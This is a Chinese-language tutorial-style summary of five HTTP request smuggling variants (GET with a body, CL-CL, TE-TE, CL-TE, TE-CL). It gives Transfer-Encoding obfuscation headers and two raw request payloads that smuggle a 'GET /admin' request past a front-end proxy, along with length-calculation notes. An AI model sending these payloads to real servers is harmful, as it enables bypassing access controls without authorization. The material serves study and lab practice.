借鉴了一些大佬的帖子, 补充+总结了一下

五种常见走私请求

CL不为0的GET请求

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

CL-CL

假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理,这样便有可能引发请求走私。

TE-TE

同上, 只不过换一个key name, 可以尝试:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[\t]chunked
 Transfer-Encoding: chunked
Transfer-Encoding
   : chunked

CL-TE

当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 28
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Content-Length需要设置为从0开始的所有字节数(\r\n算2字节)**

TE-CL

当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 4
Transfer-Encoding: chunked

26
GET /admin HTTP/1.1
Host: localhost

0

Content-Length需要设置为body长度+2(\r\n)
body中的26是从换行后算起, 到0之前的全部字节长度(\r\n算2字节), 并转为16进制

https://misakikata.github.io/2020/03/HTTP-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/
https://paper.seebug.org/1048/#4-httpcve-2018-8004
https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

如果觉得我的文章对你有用,请随意赞赏